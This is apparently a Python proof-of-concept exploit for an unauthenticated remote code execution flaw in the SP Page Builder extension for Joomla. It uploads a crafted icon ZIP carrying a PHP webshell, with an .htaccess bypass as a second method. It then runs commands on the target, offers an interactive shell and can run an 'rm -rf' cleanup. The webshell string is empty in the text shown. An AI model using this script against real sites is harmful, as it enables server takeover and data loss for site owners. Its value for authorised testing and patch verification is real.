#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-48908.py Unauthenticated Remote Code Execution in SP Page Builder for Joomla (<= 6.6.1) Author: Ashraf Zaryouh (@0xBlackash) GitHub : https://github.com/0xBlackash Date : June 2026 Description: Exploits improper access control in com_sppagebuilder task=asset.uploadCustomIcon Allows unauthenticated attackers to upload arbitrary PHP files via a crafted IcoMoon ZIP and achieve RCE. ⚠️ FOR EDUCATIONAL PURPOSES AND AUTHORIZED TESTING ONLY ⚠️ Unauthorized use against systems you do not own is illegal. """ import argparse import io import json import random import string import sys import zipfile import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # ================= CONFIG ================= BANNER = r""" ██████╗ ██╗ ██╗██████╗ ██╗ █████╗ ██████╗██╗ ██╗ █████╗ ███████╗██╗ ██╗ ██╔═████╗╚██╗██╔╝██╔══██╗██║ ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║ ██║ ██║██╔██║ ╚███╔╝ ██████╔╝██║ ███████║██║ █████╔╝ ███████║███████╗███████║ ████╔╝██║ ██╔██╗ ██╔══██╗██║ ██╔══██║██║ ██╔═██╗ ██╔══██║╚════██║██╔══██║ ╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║ ██║╚██████╗██║ ██╗██║ ██║███████║██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ CVE-2026-48908 • 0xBlackash """ USER_AGENT = "Mozilla/5.0 (compatible; 0xBlackash-Research/1.0; +https://github.com/0xBlackash)" TASK = "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon" ICONBASE = "media/com_sppagebuilder/assets/iconfont" def random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def normalize_url(url): url = url.strip().rstrip('/') if not url.startswith(('http://', 'https://')): url = 'https://' + url return url def build_malicious_zip(name, shell_name, token, use_htaccess=False): shell_content = f''' ''' selection = json.dumps({ "IcoMoonType": "selection", "icons": [], "metadata": {"name": name}, "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}} }).encode() buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z: z.writestr('selection.json', selection) z.writestr('style.css', b'.ico-test:before{content:"test";}') z.writestr(f'fonts/{name}.ttf', b'FAKEFONT') if use_htaccess: z.writestr('fonts/.htaccess', b'AddType application/x-httpd-php .PHP\n') shell_rel = f'fonts/{shell_name}.PHP' else: shell_rel = f'fonts/{shell_name}.php' z.writestr(shell_rel, shell_content.encode()) return buf.getvalue(), shell_rel def upload_zip(session, base_url, zip_data, zip_name): files = {'custom_icon': (f'{zip_name}.zip', zip_data, 'application/zip')} try: r = session.post(f"{base_url}/{TASK}", files=files, verify=False, timeout=25) if "require admin access" in r.text.lower() or r.status_code == 403: return "PATCHED" data = r.json() if data.get('status'): css_path = data.get('data', {}).get('css_path', '') if css_path: return css_path.rsplit('/', 2)[0] # iconfont dir except Exception: pass return None def execute_command(session, base_url, shell_path, token, cmd="id"): params = {'t': token, 'c': cmd} try: r = session.get(f"{base_url}/{shell_path}", params=params, verify=False, timeout=20) return r.status_code, r.text.strip() except Exception as e: return None, str(e) def main(): print(BANNER) parser = argparse.ArgumentParser(description="CVE-2026-48908 PoC by 0xBlackash") parser.add_argument("target", help="Target URL (e.g. https://example.com)") parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)") parser.add_argument("--shell", action="store_true", help="Interactive shell mode") parser.add_argument("--cleanup", action="store_true", help="Attempt cleanup after exploitation") parser.add_argument("--token", default=random_string(16), help="Secret token (default: random)") args = parser.parse_args() base = normalize_url(args.target) session = requests.Session() session.headers.update({"User-Agent": USER_AGENT}) print(f"[*] Target : {base}") print(f"[*] Token : {args.token}") print("[*] Testing vulnerability...") success = False methods = [False, True] # normal .php then .PHP + .htaccess for use_htaccess in methods: name = "ico" + random_string(6) shell_name = "shell" + random_string(6) zip_data, shell_rel = build_malicious_zip(name, shell_name, args.token, use_htaccess) iconfont_dir = upload_zip(session, base, zip_data, name) if iconfont_dir == "PATCHED": print("[-] Target appears to be patched (6.6.2+)") sys.exit(1) if not iconfont_dir: continue shell_path = f"{iconfont_dir}/fonts/{shell_name}{'.PHP' if use_htaccess else '.php'}" code, output = execute_command(session, base, shell_path, args.token, "echo 0xB4CK4SH_42") if code == 200 and "0xB4CK4SH_42" in output: print(f"[+] SUCCESS! RCE confirmed via {'htaccess bypass' if use_htaccess else 'direct PHP'}") print(f"[+] Webshell : {base}/{shell_path}?t={args.token}&c=") success = True break if not success: print("[-] Exploitation failed. Target may not be vulnerable.") sys.exit(2) # Execute requested command if not args.shell: print(f"\n[*] Executing: {args.cmd}") _, out = execute_command(session, base, shell_path, args.token, args.cmd) print("="*80) print(out) print("="*80) # Interactive shell if args.shell: print("[+] Interactive shell started. Type 'exit' to quit.") while True: try: cmd = input("\n0xBlackash$ ") if cmd.lower() in ['exit', 'quit']: break if cmd.strip(): _, out = execute_command(session, base, shell_path, args.token, cmd) print(out) except (KeyboardInterrupt, EOFError): break if args.cleanup: print("[*] Cleanup requested (best effort)") cleanup_cmd = f"rm -rf {iconfont_dir.split('/')[-1]} 2>/dev/null || echo 'manual cleanup needed'" execute_command(session, base, shell_path, args.token, cleanup_cmd) print("\n[*] Done. Stay safe and patch your systems!") if __name__ == "__main__": main()